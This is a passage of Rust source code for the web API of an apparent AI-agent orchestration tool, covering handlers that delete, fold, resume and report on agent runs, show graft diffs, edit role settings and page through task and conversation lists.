4504        let waiting = ui
4505            .questions
4506            .list()
4507            .iter()
4508            .any(|q| q.run == id && q.status.open());
4509        let max_attempts = daemon::Opts::default().max_attempts;
4510
4511        let matching_task = ui.find_task_for_run(&id)?;
4512
4513        let superseded_by = state
4514            .pr_taken_over_by
4515            .clone()
4516            .or_else(|| {
4517                matching_task
4518                    .as_ref()
4519                    .and_then(|t| t.successor_of(&id).cloned())
4520            })
4521            .as_deref()
4522            .map(crate::run::short_of)
4523            .map(str::to_owned);
4524
4525        // Best-effort: an unreadable head (mid-write, or deleted) just means
4526        // this run's own status stands on its own, same as no later attempt
4527        // existing at all.
4528        let latest_attempt = matching_task
4529            .as_ref()
4530            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4531            .and_then(|head_id| {
4532                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4533                    short: head.short().to_owned(),
4534                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4535                    status: head.status,
4536                    done: head.status.done(),
4537                    id: head.id,
4538                })
4539            });
4540
4541        let task = matching_task
4542            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4543
4544        Ok(Json(RunDetailView::of(
4545            state,
4546            waiting,
4547            live,
4548            superseded_by,
4549            latest_attempt,
4550            task,
4551        )))
4552    })
4553    .await
4554}
4555
4556/// `DELETE /api/runs/{id}`.
4557///
4558/// Remove a finished, folded run directory along with its artifacts.
4559/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4560/// deleted. This never touches git worktrees or branches - except for a run
4561/// whose state this build cannot read at all, where there is no candidate
4562/// list to check and the wholesale removal `magi fold` already uses for that
4563/// case is the only meaningful "delete".
4564async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4565    let (id, unreadable) = {
4566        let ui = Arc::clone(&ui);
4567        blocking(move || {
4568            let id = resolve_run(&ui.runs, &id)?;
4569            match read_run(&ui.runs, &id) {
4570                Ok(state) => {
4571                    let in_flight =
4572                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4573                    state
4574                        .ensure_can_delete(in_flight)
4575                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4576                    let dir = ui.runs.join(&id);
4577                    std::fs::remove_dir_all(&dir)
4578                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4579                    Ok((id, false))
4580                }
4581                Err(_) => {
4582                    // Unreadable: there is no candidate list to guard on, so
4583                    // a live daemon's claim is the only thing left to check -
4584                    // the same rule `run_fold` applies for the same reason.
4585                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4586                        return Err(ApiError::conflict(format!(
4587                            "run {id} is being worked on by a live daemon right now"
4588                        )));
4589                    }
4590                    Ok((id, true))
4591                }
4592            }
4593        })
4594        .await?
4595    };
4596    if unreadable {
4597        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4598            .await
4599            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4600    }
4601    let ui = Arc::clone(&ui);
4602    let done = id.clone();
4603    blocking(move || {
4604        // The agent that asked died with the run, so an open question would
4605        // keep asking the operator for a decision nobody can deliver.
4606        ui.questions.abandon_for_run(
4607            &done,
4608            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4609        )?;
4610        Ok(())
4611    })
4612    .await?;
4613    Ok(StatusCode::NO_CONTENT)
4614}
4615
4616/// `POST /api/runs/{id}/fold`.
4617///
4618/// Remove a run's candidate worktrees and branches, keeping its record.
4619///
4620/// This exists because the deck answered "delete this run" with *"Candidates
4621/// must be folded before deleting. Run `magi fold` first."* — a phone being
4622/// told to open a terminal, in the one product whose point is that it does
4623/// not need one. The runs an operator most wants gone are the stalled and
4624/// blocked ones, and those are exactly the runs still holding worktrees:
4625/// three of them here held 53 GB.
4626///
4627/// The winner's tree goes too. A fold is what someone asks for when they are
4628/// finished with a run, and leaving one tree behind would leave the delete
4629/// button disabled for the same reason as before.
4630///
4631/// Refused while a live daemon is working on the run, on the rule that guards
4632/// deletion: folding underneath a running agent would pull the tree it is
4633/// editing out from under it.
4634///
4635/// A run whose state this build cannot read at all falls back to
4636/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4637/// selectively, so the whole record's worktree goes wholesale, exactly what
4638/// `magi fold` does on the command line for the same run.
4639async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4640    let (id, state) = {
4641        let ui = Arc::clone(&ui);
4642        blocking(move || {
4643            let id = resolve_run(&ui.runs, &id)?;
4644            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4645                return Err(ApiError::conflict(format!(
4646                    "run {id} is being worked on by a live daemon right now"
4647                )));
4648            }
4649            let state = read_run(&ui.runs, &id).ok();
4650            Ok((id, state))
4651        })
4652        .await?
4653    };
4654    let removed = match state {
4655        Some(mut state) => {
4656            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4657                .await
4658                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4659            // Nothing left to remove is not the same thing as nothing left to
4660            // do — see `clean::clear_abandoned_active`'s own doc for the run
4661            // this exists for: worktrees already gone, but a killed process
4662            // left active seats nobody will ever answer for.
4663            if removed.is_empty() {
4664                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4665                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4666            }
4667            removed
4668        }
4669        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4670            .await
4671            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4672    };
4673    Ok(Json(FoldView {
4674        run: id,
4675        removed_count: removed.len(),
4676        removed,
4677    }))
4678}
4679
4680/// What a fold took away, so the deck can say so rather than only re-render.
4681#[derive(Debug, Serialize)]
4682struct FoldView {
4683    run: String,
4684    /// Worktree paths and branch names removed, in the order they went.
4685    removed: Vec<String>,
4686    removed_count: usize,
4687}
4688
4689/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4690/// merged outside of `land::land`'s own loop.
4691#[derive(Debug, Deserialize)]
4692struct FoldMergedBody {
4693    #[serde(default)]
4694    pr_url: String,
4695}
4696
4697/// `POST /api/runs/{id}/fold-merged`.
4698///
4699/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4700/// `Blocked` with `merge: null` because magi never got as far as opening a
4701/// pull request of its own (a title over GitHub's length limit, `gh pr
4702/// create` unreachable, a stale token), which the operator then finished by
4703/// hand on a pull request magi never recorded. The "Run actions" sheet used
4704/// to have no way to tell it about that pull request short of a terminal and
4705/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4706/// this exists and what it deliberately does not do (`bump::after_merge`).
4707///
4708/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4709/// correction rewrites the same `status`/`merge` fields a running graph would
4710/// be writing to on its own.
4711///
4712/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4713/// calls plus a fold, seconds of work, and the phone should get its answer
4714/// (which pull request it recorded, and what changed) in the same round
4715/// trip rather than learning it from the change stream.
4716async fn run_fold_merged(
4717    State(ui): State<Arc<Ui>>,
4718    Path(id): Path<String>,
4719    Json(body): Json<FoldMergedBody>,
4720) -> ApiResult<Json<FoldMergedView>> {
4721    let pr_url = body.pr_url.trim().to_owned();
4722    if pr_url.is_empty() {
4723        return Err(ApiError::bad_request("pr_url is required"));
4724    }
4725    let (id, mut state) = {
4726        let ui = Arc::clone(&ui);
4727        blocking(move || {
4728            let id = resolve_run(&ui.runs, &id)?;
4729            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4730                return Err(ApiError::conflict(format!(
4731                    "run {id} is being worked on by a live daemon right now"
4732                )));
4733            }
4734            let state = read_run(&ui.runs, &id)?;
4735            Ok((id, state))
4736        })
4737        .await?
4738    };
4739    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4740        .await
4741        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4742    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4743        .await
4744        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4745    Ok(Json(FoldMergedView {
4746        run: id,
4747        before: before.as_str().to_owned(),
4748        after: after.as_str().to_owned(),
4749        removed,
4750    }))
4751}
4752
4753/// What [`run_fold_merged`] did, so the deck can say so.
4754#[derive(Debug, Serialize)]
4755struct FoldMergedView {
4756    run: String,
4757    /// `status` before the correction — normally `"blocked"`.
4758    before: String,
4759    /// `status` after — normally `"merged"`.
4760    after: String,
4761    /// Worktree paths and branch names the trailing fold removed.
4762    removed: Vec<String>,
4763}
4764
4765/// `POST /api/runs/{id}/resume`.
4766///
4767/// Carry a stalled run on from where it stopped, in the background.
4768///
4769/// A stalled card says "the work is kept" and used to offer no way to act on
4770/// that: the candidates are built and paid for, and continuing means re-asking
4771/// only the seats whose absence collapsed the panel. The alternative an
4772/// operator actually had was releasing the task, which competes three fresh
4773/// implementations against work that already exists.
4774///
4775/// **202, not 200.** A resume runs agents for minutes; holding the connection
4776/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4777/// phone learns the outcome from the change stream.
4778///
4779/// Refused when the loop is running at all, not merely when it is on this run.
4780/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4781/// started a second graph on top of whatever the loop is already driving —
4782/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4783/// allows — would spend that quota twice over for no extra throughput.
4784async fn run_resume(
4785    State(ui): State<Arc<Ui>>,
4786    Path(id): Path<String>,
4787) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4788    let admission = ui.begin_admission()?;
4789    admitted(admission, async move {
4790        let (id, state) = {
4791            let ui = Arc::clone(&ui);
4792            blocking(move || {
4793                let id = resolve_run(&ui.runs, &id)?;
4794                let state = read_run(&ui.runs, &id)?;
4795                Ok((id, state))
4796            })
4797            .await?
4798        };
4799        crate::resume::validate_unqueued(&ui.home, &id)
4800            .map_err(|e| ApiError::conflict(e.to_string()))?;
4801        let _resume = ui.begin_resume(&id)?;
4802
4803        crate::resume::start(&ui.home, id.clone())
4804            .await
4805            .map_err(ApiError::from)?;
4806        // The same shape the list route returns, so the phone updates the card it
4807        // already has rather than learning a second schema for one button.
4808        let queued = RunSummary::of(
4809            &state,
4810            !ui.questions.open_for(&id).is_empty(),
4811            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4812        );
4813        Ok((StatusCode::ACCEPTED, Json(queued)))
4814    })
4815    .await
4816}
4817
4818async fn run_report(
4819    State(ui): State<Arc<Ui>>,
4820    Path(id): Path<String>,
4821) -> ApiResult<impl IntoResponse> {
4822    let text = blocking(move || {
4823        let id = resolve_run(&ui.runs, &id)?;
4824        // Colour is off for the whole process, set once in `serve`. Rendering
4825        // is CPU work over the full state, which is the other reason this is
4826        // not on the executor.
4827        let state = read_run(&ui.runs, &id)?;
4828        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4829        let live = state.liveness(daemon_claims);
4830        Ok(format!(
4831            "{}{}",
4832            report::run(&state),
4833            report::active_seats(&state, live)
4834        ))
4835    })
4836    .await?;
4837    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4838}
4839
4840/// The structured twin of [`run_report`]: the same state, as sections the UI
4841/// draws as cards. An unreadable run answers with the same error the text
4842/// route does; it is never turned into an empty report.
4843async fn run_report_json(
4844    State(ui): State<Arc<Ui>>,
4845    Path(id): Path<String>,
4846) -> ApiResult<Json<crate::report_view::RunReportView>> {
4847    let view = blocking(move || {
4848        let id = resolve_run(&ui.runs, &id)?;
4849        let state = read_run(&ui.runs, &id)?;
4850        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4851        // Only a record that lacks the structured details reads `artifacts/`.
4852        let recovered = state.graft.as_ref().map(|_| {
4853            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4854        });
4855        Ok(crate::report_view::build_with(
4856            &state,
4857            state.liveness(daemon_claims),
4858            recovered.as_ref(),
4859        ))
4860    })
4861    .await?;
4862    Ok(Json(view))
4863}
4864
4865/// Most of a graft diff the route returns.
4866const GRAFT_DIFF_MAX: usize = 400 * 1024;
4867/// How long `git diff` may run.
4868const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4869
4870/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4871/// come from the run record, never from the request.
4872async fn run_graft_diff(
4873    State(ui): State<Arc<Ui>>,
4874    Path(id): Path<String>,
4875) -> ApiResult<impl IntoResponse> {
4876    let (repo, pre, post) = blocking(move || {
4877        let id = resolve_run(&ui.runs, &id)?;
4878        let state = read_run(&ui.runs, &id)?;
4879        let g = state
4880            .graft
4881            .as_ref()
4882            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4883        let post = g
4884            .post
4885            .clone()
4886            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4887        Ok((state.repo.clone(), g.pre.clone(), post))
4888    })
4889    .await?;
4890    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4891    if !hex(&pre) || !hex(&post) {
4892        return Err(ApiError::not_found("the recorded commits are not valid"));
4893    }
4894    let out = tokio::time::timeout(
4895        GRAFT_DIFF_TIMEOUT,
4896        crate::git::git_raw(
4897            &repo,
4898            &[
4899                "diff",
4900                "--no-color",
4901                "--no-ext-diff",
4902                "-M",
4903                &pre,
4904                &post,
4905                "--",
4906            ],
4907        ),
4908    )
4909    .await
4910    .map_err(|_| ApiError::not_found("git diff timed out"))?
4911    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4912    if out.code != Some(0) {
4913        return Err(ApiError::not_found(
4914            "the recorded commits are no longer in the repository",
4915        ));
4916    }
4917    let mut body = out.stdout;
4918    if body.len() > GRAFT_DIFF_MAX {
4919        let mut cut = GRAFT_DIFF_MAX;
4920        while !body.is_char_boundary(cut) {
4921            cut -= 1;
4922        }
4923        body.truncate(cut);
4924        body.push_str("\n... diff truncated ...");
4925    }
4926    Ok((
4927        [
4928            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4929            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4930        ],
4931        body,
4932    ))
4933}
4934
4935/// A task as the UI sees it.
4936///
4937/// The whole task, plus the two things the client would otherwise have to
4938/// reimplement: the human-readable source and the status string. Nothing is
4939/// removed - the phone shows `last_error` and the run history verbatim.
4940#[derive(Debug, Serialize)]
4941struct TaskView {
4942    #[serde(flatten)]
4943    task: Task,
4944    source_label: String,
4945    source_link: Option<SourceLink>,
4946    status_str: &'static str,
4947    /// The instruction, parsed as markdown, for the Queue card's "Full
4948    /// instruction" panel. `task.instruction` is unchanged and still carries
4949    /// the raw text.
4950    instruction_md: Vec<md::Node>,
4951    /// For a blocked task, what it waits on with each dependency's state, e.g.
4952    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4953    /// recurses; empty for every other status.
4954    waits_on: Vec<String>,
4955    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4956    /// behind - non-empty means nothing in the loop will ever run it.
4957    stuck_roots: Vec<String>,
4958}
4959
4960impl From<Task> for TaskView {
4961    fn from(task: Task) -> Self {
4962        Self {
4963            source_label: task.source.label(),
4964            source_link: source_link(&task.source),
4965            status_str: task.status.as_str(),
4966            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4967            waits_on: Vec::new(),
4968            stuck_roots: Vec::new(),
4969            task,
4970        }
4971    }
4972}
4973
4974impl TaskView {
4975    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4976        let waits_on = inv.waits_on(&task);
4977        let stuck_roots = inv
4978            .stuck_roots(&task)
4979            .iter()
4980            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4981            .collect();
4982        Self {
4983            waits_on,
4984            stuck_roots,
4985            ..Self::from(task)
4986        }
4987    }
4988}
4989
4990/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4991/// its absence, leaves the cache to decide.
4992#[derive(Debug, Default, Deserialize)]
4993#[serde(default)]
4994struct ReposQuery {
4995    refresh: u8,
4996}
4997
4998/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4999/// listing `magi repos` prints at a terminal.
5000///
5001/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5002/// so an edit to `magi.toml` takes effect without a restart, the same
5003/// reasoning [`config_for`] documents for the talk routes.
5004async fn repos_list(
5005    State(ui): State<Arc<Ui>>,
5006    Query(q): Query<ReposQuery>,
5007) -> ApiResult<Json<Vec<repos::Repo>>> {
5008    let refresh = q.refresh != 0;
5009    blocking(move || {
5010        let (cfg, _) = Config::discover(&ui.repo, None)?;
5011        Ok(Json(ui.repos_cache.list(
5012            &cfg.repos.roots,
5013            Duration::from_secs(cfg.repos.scan_ttl),
5014            refresh,
5015        )))
5016    })
5017    .await
5018}
5019
5020/// Optional context, restricted to the server's known checkouts.
5021#[derive(Debug, Default, Deserialize)]
5022struct SettingsQuery {
5023    repo: Option<PathBuf>,
5024}
5025
5026/// Always discover against the server's original context, never the selection.
5027/// If that config is broken, retain the default context and machine-only roots
5028/// so the settings error contract and recovery picker remain available.
5029fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5030    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5031        let paths: Vec<PathBuf> = ui
5032            .machine_config
5033            .iter()
5034            .filter(|p| p.is_file())
5035            .cloned()
5036            .collect();
5037        if paths.is_empty() {
5038            Ok(Config::autodetected())
5039        } else {
5040            Config::load_layers(&paths)
5041        }
5042    });
5043    let mut known = cfg
5044        .map(|cfg| {
5045            ui.repos_cache.list(
5046                &cfg.repos.roots,
5047                Duration::from_secs(cfg.repos.scan_ttl),
5048                refresh,
5049            )
5050        })
5051        .unwrap_or_default();
5052    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5053    if !known.iter().any(|r| r.path == path) {
5054        known.push(repos::Repo {
5055            name: path
5056                .file_name()
5057                .unwrap_or_default()
5058                .to_string_lossy()
5059                .into_owned(),
5060            path,
5061        });
5062    }
5063    known
5064}
5065
5066fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5067    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5068    let canonical = requested.canonicalize().ok();
5069    let mut known = settings_repositories(ui, false);
5070    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5071    if !known.iter().any(matches) {
5072        known = settings_repositories(ui, true);
5073    }
5074    let repo = known
5075        .iter()
5076        .find(|r| matches(r))
5077        .map(|r| r.path.clone())
5078        .ok_or_else(|| ApiError {
5079            text_reason: None,
5080            status: StatusCode::UNPROCESSABLE_ENTITY,
5081            message: "Choose a known repository from the Settings selector.".to_owned(),
5082        })?;
5083    Ok((repo, known))
5084}
5085
5086/// `GET /api/settings` - the effective role assignments and roster, with the
5087/// layer each came from. A config that fails to load answers 200 with an
5088/// `error`, so the screen can say so instead of drawing empty lists.
5089async fn settings_get(
5090    State(ui): State<Arc<Ui>>,
5091    Query(q): Query<SettingsQuery>,
5092) -> ApiResult<Json<settings::SettingsView>> {
5093    blocking(move || {
5094        let (repo, known) = settings_context(&ui, q)?;
5095        Ok(Json(settings::view_with_repos(
5096            &repo,
5097            ui.machine_config.as_deref(),
5098            &known,
5099        )))
5100    })
5101    .await
5102}
5103
5104/// The body of `PUT /api/settings/roles`.
5105#[derive(Debug, Deserialize)]
5106#[serde(deny_unknown_fields)]
5107struct RolesBody {
5108    /// The `revision` the client last read.
5109    revision: String,
5110    /// Role key to its new ids; an empty list resets the key to its default.
5111    #[serde(default)]
5112    roles: std::collections::BTreeMap<String, Vec<String>>,
5113    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5114    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5115    /// words (422) instead of as a deserialization error.
5116    #[serde(default)]
5117    counts: std::collections::BTreeMap<String, serde_json::Value>,
5118}
5119
5120/// `PUT /api/settings/roles` - save role assignments to the machine config.
5121///
5122/// The write target is `ui.machine_config` and nothing in the body can change
5123/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5124/// 422 with the reason in words.
5125async fn settings_put_roles(
5126    State(ui): State<Arc<Ui>>,
5127    Query(q): Query<SettingsQuery>,
5128    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5129) -> ApiResult<Json<settings::SettingsView>> {
5130    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5131    blocking(move || {
5132        let (repo, known) = settings_context(&ui, q)?;
5133        settings::save_with_repos(
5134            &repo,
5135            ui.machine_config.as_deref(),
5136            &body.revision,
5137            &body.roles,
5138            &body.counts,
5139            &known,
5140        )
5141        .map(Json)
5142        .map_err(|e| match e {
5143            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5144            settings::SaveError::Refused(m) => ApiError {
5145                text_reason: None,
5146                status: StatusCode::UNPROCESSABLE_ENTITY,
5147                message: m,
5148            },
5149            settings::SaveError::Internal(m) => ApiError::internal(m),
5150        })
5151    })
5152    .await
5153}
5154
5155async fn queue_list(
5156    State(ui): State<Arc<Ui>>,
5157    Query(q): Query<ListQuery>,
5158) -> ApiResult<Json<Vec<TaskView>>> {
5159    blocking(move || {
5160        let tasks = ui.queue.list();
5161        let inv =
5162            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5163        Ok(Json(
5164            tasks
5165                .into_iter()
5166                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5167                .map(|t| TaskView::with_inventory(t, &inv))
5168                .collect(),
5169        ))
5170    })
5171    .await
5172}
5173
5174/// History pages read a bounded number of records; the first conversation
5175/// page also includes every open talk. Cursors advance through a frozen snapshot,
5176/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5177/// Concurrent inserts are reconciled by a trailing store refresh.
5178#[derive(Debug, Default, Deserialize)]
5179struct PageQuery {
5180    before: Option<String>,
5181}
5182
5183#[derive(Serialize)]
5184struct StorePage<T> {
5185    rows: Vec<T>,
5186    next: Option<String>,
5187}
5188
5189const STORE_PAGE_SIZE: usize = 16;
5190
5191/// Freeze membership and the initial open/history boundary for a cursor walk.
5192/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5193/// the next store revision. Never rescan the entire directory for every page.
5194#[derive(Debug)]
5195struct ListWalk {
5196    token: u64,
5197    talks: bool,
5198    opened: std::time::Instant,
5199    ids: Arc<Vec<String>>,
5200    initial_end: usize,
5201}
5202
5203fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5204    page_ids_with(ui, talks, q, open_talk_ids)
5205}
5206
5207fn page_ids_with(
5208    ui: &Ui,
5209    talks: bool,
5210    q: PageQuery,
5211    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5212) -> ApiResult<(Vec<String>, Option<String>)> {
5213    let mut walks = ui
5214        .monitor
5215        .list_walks
5216        .lock()
5217        .unwrap_or_else(PoisonError::into_inner);
5218    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5219    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5220        let (token, offset) = cursor
5221            .split_once(':')
5222            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5223        let token = token
5224            .parse::<u64>()
5225            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5226        let offset = offset
5227            .parse::<usize>()
5228            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5229        let walk = walks
5230            .iter()
5231            .find(|walk| walk.token == token && walk.talks == talks)
5232            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5233        (token, walk.ids.clone(), offset, walk.initial_end)
5234    } else {
5235        // Header I/O must not hold the snapshot registry shared with queue
5236        // pagination or with clients continuing an existing history walk.
5237        drop(walks);
5238        let root = if talks {
5239            ui.talks.root()
5240        } else {
5241            ui.queue.root()
5242        };
5243        let mut ids = crate::queue::record_ids(root, "json")?;
5244        ids.sort_unstable_by(|a, b| b.cmp(a));
5245        let initial_end = if talks {
5246            let open = classify(ui, &ids);
5247            // Stable partition: ID order is only the existing membership order,
5248            // never a substitute for the UI's creation-time ordering.
5249            ids.sort_by_key(|id| !open.contains(id));
5250            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5251        } else {
5252            STORE_PAGE_SIZE.min(ids.len())
5253        };
5254        let ids = Arc::new(ids);
5255        walks = ui
5256            .monitor
5257            .list_walks
5258            .lock()
5259            .unwrap_or_else(PoisonError::into_inner);
5260        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5261        let mut token = crate::rng::entropy();
5262        while walks.iter().any(|walk| walk.token == token) {
5263            token = crate::rng::entropy();
5264        }
5265        // Four clients can enumerate both stores and overlap a refresh. Bound
5266        // retained membership snapshots; an evicted cursor explicitly retries.
5267        if walks.len() >= 16 {
5268            walks.remove(0);
5269        }
5270        walks.push(ListWalk {
5271            token,
5272            talks,
5273            opened: std::time::Instant::now(),
5274            ids: ids.clone(),
5275            initial_end,
5276        });
5277        (token, ids, 0, initial_end)
5278    };
5279    if offset > ids.len() {
5280        return Err(ApiError::bad_request("Invalid list cursor"));
5281    }
5282    let end = if offset == 0 {
5283        initial_end
5284    } else {
5285        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5286    };
5287    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5288    Ok((ids[offset..end].to_vec(), next))
5289}
5290
5291async fn queue_page(
5292    State(ui): State<Arc<Ui>>,
5293    Query(q): Query<PageQuery>,
5294) -> ApiResult<Json<StorePage<TaskView>>> {
5295    blocking(move || {
5296        let (ids, next) = page_ids(&ui, false, q)?;
5297        let tasks: Vec<_> = ids
5298            .into_iter()
5299            .filter_map(|id| ui.queue.get(&id).ok())
5300            .collect();
5301        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5302        let rows = tasks
5303            .into_iter()
5304            .map(|task| TaskView::with_inventory(task, &inv))
5305            .collect();
5306        Ok(Json(StorePage { rows, next }))
5307    })
5308    .await
5309}
5310
5311/// Fixed-size wire projection. Agent timestamps stay in the server index so
5312/// exact unread counts do not require sending an ever-growing turn list.
5313#[derive(Debug, Clone, Serialize)]
5314struct TalkListView {
5315    title: Option<talk::ChatTitle>,
5316    id: String,
5317    repo: PathBuf,
5318    agent: String,
5319    status: talk::TalkStatus,
5320    turns: Vec<TalkListTurn>,
5321    turn_count: usize,
5322    unread_count: usize,
5323    context: talk::ContextUsage,
5324    #[serde(skip)]
5325    agent_times: Vec<Timestamp>,
5326    thinking: bool,
5327    created_at: Timestamp,
5328    updated_at: Timestamp,
5329}
5330
5331#[derive(Debug, Clone, Serialize)]
5332struct TalkListTurn {
5333    who: talk::Who,
5334    at: Timestamp,
5335    body: String,
5336}
5337
5338fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5339    let reads: HashMap<String, Timestamp> = headers
5340        .get("x-talk-reads")
5341        .and_then(|v| v.to_str().ok())
5342        .and_then(|v| serde_json::from_str(v).ok())
5343        .unwrap_or_default();
5344    let mut index = ui
5345        .monitor
5346        .talk_index
5347        .lock()
5348        .unwrap_or_else(PoisonError::into_inner);
5349    // Bound memory independently of the number of conversations ever opened.
5350    if index.len() > 1000 {
5351        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5352        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5353        if index.len() > 1000 {
5354            index.retain(|id, _| keep.contains(id.as_str()));
5355        }
5356    }
5357    ids.into_iter()
5358        .filter_map(|id| {
5359            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5360            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5361                let talk = ui.talks.get(&id).ok()?;
5362                #[cfg(test)]
5363                ui.monitor
5364                    .talk_parses
5365                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5366                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5367                let last = talk.turns.len().checked_sub(1);
5368                let turns = talk
5369                    .turns
5370                    .iter()
5371                    .enumerate()
5372                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5373                    .map(|(_, t)| TalkListTurn {
5374                        who: t.who,
5375                        at: t.at,
5376                        body: t
5377                            .body
5378                            .lines()
5379                            .next()
5380                            .unwrap_or_default()
5381                            .chars()
5382                            .take(240)
5383                            .collect(),
5384                    })
5385                    .collect();
5386                let row = TalkListView {
5387                    title: talk.title.clone(),
5388                    agent_times: talk
5389                        .turns
5390                        .iter()
5391                        .filter(|t| t.who == talk::Who::Agent)
5392                        .map(|t| t.at)
5393                        .collect(),
5394                    turn_count: talk.turns.len(),
5395                    unread_count: 0,
5396                    context: talk::context_usage(&talk, None),
5397                    turns,
5398                    thinking: false,
5399                    id: talk.id,
5400                    repo: talk.repo,
5401                    agent: talk.agent,
5402                    status: talk.status,
5403                    created_at: talk.created_at,
5404                    updated_at: talk.updated_at,
5405                };
5406                index.insert(id.clone(), (identity, row));
5407            }
5408            let row = &index.get(&id)?.1;
5409            let mut row = TalkListView {
5410                title: row.title.clone(),
5411                unread_count: row
5412                    .agent_times
5413                    .iter()
5414                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5415                    .count(),
5416                agent_times: Vec::new(),
5417                id: row.id.clone(),
5418                repo: row.repo.clone(),
5419                agent: row.agent.clone(),
